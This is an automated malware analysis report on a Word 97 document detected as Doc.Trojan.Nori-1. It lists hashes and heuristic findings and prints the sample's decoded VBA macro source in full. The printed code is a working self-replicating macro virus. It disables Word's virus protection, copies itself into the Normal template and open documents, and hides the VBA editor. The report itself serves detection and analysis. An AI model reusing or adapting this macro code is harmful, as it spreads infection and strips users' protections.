Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1dd21195a7c70543…

MALICIOUS

Office (OLE)

64.5 KB Created: 2009-03-19 15:32:00 Authoring application: Microsoft Word 8.0 First seen: 2014-02-03
MD5: a96b384dcec92c26202a36a32b4c6590 SHA-1: 5e850ff5e7237f9204484d67b97e6c939cf52121 SHA-256: 1dd21195a7c705434f82487dc10ed0bc8e855d091fa62c5929b5da539e69e84b
228 Risk Score

Heuristics 5

  • ClamAV: Doc.Trojan.Nori-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nori-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                                                                                                        .DeleteLines 8
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
                                                                                                    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8080 bytes
SHA-256: 50b5a091f6f5cee4ab646dbb9f6e9a98f8914782018ff8b704d7dfc1f28db34f
Detection
ClamAV: Doc.Trojan.Nori-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Unit"
                                                                                                Sub ToN()
'Iron
                                                                                                On Error Resume Next
                                                                                                file = "c:\Iron.tmp"
                                                                                                Un = "Unit"

                                                                                                With NormalTemplate.VBProject.VBComponents
                                                                                                               '8
                                                                                                    Kill (file)
                                                                                                End With
                                                                                                End Sub
                                                                                                Sub ToA()
                                                                                                On Error Resume Next
                                                                                                file = "c:\Iron.tmp"
                                                                                                Un = "Unit"
                                                                                                With ActiveDocument.VBProject.VBComponents
                                                                                                                                          '18
                                                                                                                                          '18
                                                                                                    Kill (file)
                                                                                                End With
                                                                                                End Sub
                                                                                                Sub AutoOpen()
                                                                                                On Error Resume Next
                                                                                                If options.VirusProtection Then options.VirusProtection = Not options.VirusProtection
                                                                                                If options.ConfirmConversions Then options.ConfirmConversions = Not options.ConfirmConversions
                                                                                                If options.SaveNormalPrompt Then options.SaveNormalPrompt = Not options.SaveNormalPrompt
                                                                                                file = "c:\Iron.tmp"
                                                                                                Un = "Unit"
                                                                                                If NormalTemplate.VBProject.VBComponents.Item(Un).CodeModule.Lines(2, 1) <> "'Iron" Then
                                                                                                ActiveDocument.VBProject.VBComponents(Un).Export (file)
                                                                                                With ActiveDocument.VBProject.VBComponents(Un).CodeModule
                                                                                                    .DeleteLines 8
                                                                                                    .InsertLines 8, "   .import (file)"
                                                                                                End With
                                                                                                Call ToN
                                                                                                With ActiveDocument.VBProject.VBComponents(Un).CodeModule
                                                                                                    .DeleteLines 8
                                                                                                    .InsertLines 8, "                                                                                                               '8"
                                                                                                End With
                                                                                                End If
                                                                                                If ActiveDocument.VBProject.VBComponents.Item(Un).CodeModule.Lines(2, 1) <> "'Iron" Then
                                                                                                    NormalTemplate.VBProject.VBComponents(Un).Export (file)
                                                                                                    With NormalTemplate.VBProject.VBComponents(Un).CodeModule
                                                                                                        .DeleteLines 18
                                                                                                        .InsertLines 18, "   ActiveDocument.VBProject.VBComponents.import (file)"
                                                                                                    End With
                                                                                                    Call ToA
                                                                                                    With NormalTemplate.VBProject.VBComponents(Un).CodeModule
                                                                                                        .DeleteLines 18
                                                                                                        .InsertLines 18, "                                                                                                                                          '18"
                                                                                                    End With
                                                                                                    NormalTemplate.Save
                                                                                                End If
                                     
                                                                                                End Sub
                                                                                                Sub ViewVBCode()
                                                                                                  On Error Resume Next
                                                                                                  Application.ShowVisualBasicEditor = False
                                                                                                End Sub
                                                                                                Private Sub Document_New()
                                                                                                 Call AutoOpen
                                                                                                End Sub

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